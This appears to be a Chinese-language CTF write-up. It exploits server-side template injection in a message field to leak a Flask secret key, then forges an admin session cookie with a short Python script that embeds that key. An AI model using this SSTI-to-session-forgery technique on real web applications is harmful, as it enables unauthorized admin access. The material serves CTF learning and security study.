功能很简单。就一个登陆。一个查看flag。但是flag没有权限
随便注册个用户看看。存在留言功能
发送留言处event_important参数存在SSTI。
别问我为什么用__class__
一开始。用的是{{2*2}}
发现留言并没有成功。是不是{{}}导致程序出错了。
然后去掉{{}}不行。再去掉单引号。还是不行。最后去掉点。就可以了。。
不知道后端咋写的
既然有SSTI。就好办了。我们通过读取密钥。然后伪造cookie。成为admin就能拿到flag
拿到密钥
开始解密
这里解密了两个cookies。感觉user的值才是用来判断用户名的
但是问题来了。这个解密的字符串就一个test。和之前有点不太一样。所以。我们也无法获得admin身份的session
看了writeup。这里还有种办法。使用python搭一个flask。然后得到session
https://xz.aliyun.com/t/5399#toc-1
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
用python2不行。python3输出替换user